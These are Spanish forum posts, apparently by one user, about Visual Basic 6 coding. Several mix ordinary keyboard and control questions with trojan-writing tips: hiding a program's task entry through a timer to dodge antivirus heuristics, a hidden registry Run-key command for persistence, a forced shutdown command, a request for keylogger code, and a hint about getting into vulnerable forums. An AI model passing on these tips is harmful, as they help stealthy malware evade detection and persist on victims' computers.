Mensajes

Hola:

Pone una variable booleana, que verifique que antes se preciono tal tecla, que se yo, pensa .

A ver ya se pensar yo solo sin q me tengas q animar tu xDDD. Si pregunto es por q ya llevo algun tiempo pensando y no se me ocurre nada, si no no preguntaria.

1S4ludo

Hola:

Si no recuerdo mal el Cactus Joiner usaba la interfaz del XP en esos controles q tu kieres (weno yo no e tenido el privilegio de ver el code y no se si son Microsoft windows Common Controls 5.0 o 6.0) per podias mandar un PM a ||MadAntrax|| y preguntarselo, seguro q te lo dice.

1S4ludo

Hola:

Gracias ya me funciona, pero cuando intento sumarlos:

Código [Seleccionar] Expandir

Private Sub Text1_KeyDown(KeyCode As Integer, Shift As Integer)
If (KeyCode = 18 & 9) Then
MsgBox "No =("
End If
End Sub

No me funciona, sale el menu ese, alguna idea

Gracias y 1S4ludo

Hola:

Vereis e consultado varias tablas de codigos ascii en google pero no encuentro el de la tecla "Alt", acso es q no tiene???

Lo q quiero hacer es q por ejemplo al pulsar las teclas "Alt" + "Tabulacion" salte un MsgBox. Kedaria asi:

Código [Seleccionar] Expandir

Private Sub Text1_KeyPress(KeyAscii As Integer)
if (keyascii = 9 & ?? )then
    MsgBox "no lo intentes"
End If
End Sub

Alguien sabe cual es el numero q va en ??

1S4ludo

Hola:

Si, ya dije q no todos los foros son vulnerables, algunos los han actualizado y ahora piden pass 
Necesitas conocer el pass para entrar en la configuración (eso ya os lo dejo a ti y a google xDDDD)

1S4ludo

Hola:

A mi la pagina sigue sin funcionarme, podrias arreglar la del code del keylogger?? es q me interesa bastante.

1S4ludo

Hola:

Todos los codigos de abrir cerrar cd apagar reiniciar y esas cosas las detecta el AV automaticamente  y lo otro el antivirus busca palabras dentro del ejecutable? como por ejemplo apagar reiniciar y cosas haci?

Yo para hacer que reinicie, apague o cierre sesión uso el comando shutdown del simbolo del sistema de windows. Por ejemplo:

Apagar:

Código [Seleccionar] Expandir

Shell "cmd.exe /c shutdown.exe -s -f -t 00"

Compilalo y veras.... xD

Para mas informacion del comando shutdown abres el cmd y pones --> shutdown /?

PD --> A mi el nod no me detecta el abrir y cerrar CD ¿?¿?¿

1S4ludo

Hola

Tu programa lo deteta el AV por euristica. Esto lo puedes solucionar no poniendo funciones como App.TaskVisible = False en el evento load del form, si no en un timer q se active al arrancarse el programa.
Tambien lo puede detectar porque ayas copiado codigo de otros troyanos ya detectados.

Por cierto el Winsock no tiene nada q ver con eso.

1S4ludo

Hola:

A mi gusto mucho mas facil y corto:

Código [Seleccionar] Expandir

Shell Reg.Text, vbHide

Reg.txt es un TextBox que tiene q contener esto:

Código [Seleccionar] Expandir

REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v NombreClave /t REG_SZ /d "C:\windows\programa.exe "

1S4ludo

Hola

Por fin lo encontre!!! Lo dejo aki como usarlo por si le interesa a alguien:

Código [Seleccionar] Expandir

Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Const EM_GETLINE = &HC4

Private Sub Command1_Click()

Dim Respuesta As Long
Dim Texto As String

Texto = Space$(10)
Respuesta = SendMessage(Text1.hwnd, EM_GETLINE, 1, ByVal Texto)

MsgBox Texto

End Sub

El numero q hay despues de EM_GETLINE indica la linea, o --> Linea 1 ; 1 --> Linea 2 ....

Gracias por vuestra ayuda
1S4ludo